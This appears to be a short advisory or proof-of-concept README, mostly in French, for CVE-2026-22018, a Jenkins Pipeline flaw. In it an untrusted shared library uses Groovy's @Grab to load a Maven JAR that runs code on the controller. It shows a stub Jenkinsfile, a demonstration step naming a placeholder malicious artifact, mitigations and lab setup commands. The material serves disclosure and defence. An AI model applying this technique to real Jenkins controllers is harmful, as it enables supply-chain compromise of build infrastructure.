CVE-2026-22018 – Exécution de code de la bibliothèque partagée Jenkins Pipeline via @Grab

Code du programme (pipeline Groovy)

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Exécution de code à distance de la bibliothèque partagée Jenkins Pipeline

Vue d'ensemble

Un pipeline Jenkins charge une bibliothèque partagée depuis une source qui n'est pas entièrement fiable. La bibliothèque utilise l'annotation @Grab pour télécharger des artefacts Maven externes, qui peuvent inclure une classe malveillante exécutant du code sur le contrôleur Jenkins lors de la compilation Groovy.

Détails de la vulnérabilité

• Type: Injection de code / Chaîne d'approvisionnement
• Impact: Compromission totale du contrôleur Jenkins.
• Cause racine: L'annotation @Grab de Groovy récupère et charge des JAR arbitraires au moment de l'exécution ; les bibliothèques partagées ne sont pas isolées (sandbox).

Démonstration de l'exploit

Configurez un pipeline avec une bibliothèque non fiable qui contient @Grab('com.evil:malware:1.0') dans son vars/evilStep.groovy. Lorsque le pipeline s'exécute, l'initialiseur statique du JAR malveillant s'exécute.

Atténuation

• N'utilisez les bibliothèques partagées qu'à partir de dépôts SCM fiables et signés.
• Désactivez @Grab via les paramètres de sécurité du sandbox Groovy.
• Utilisez l'option de pipeline “Load implicitly” avec précaution.

Installation et utilisation

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.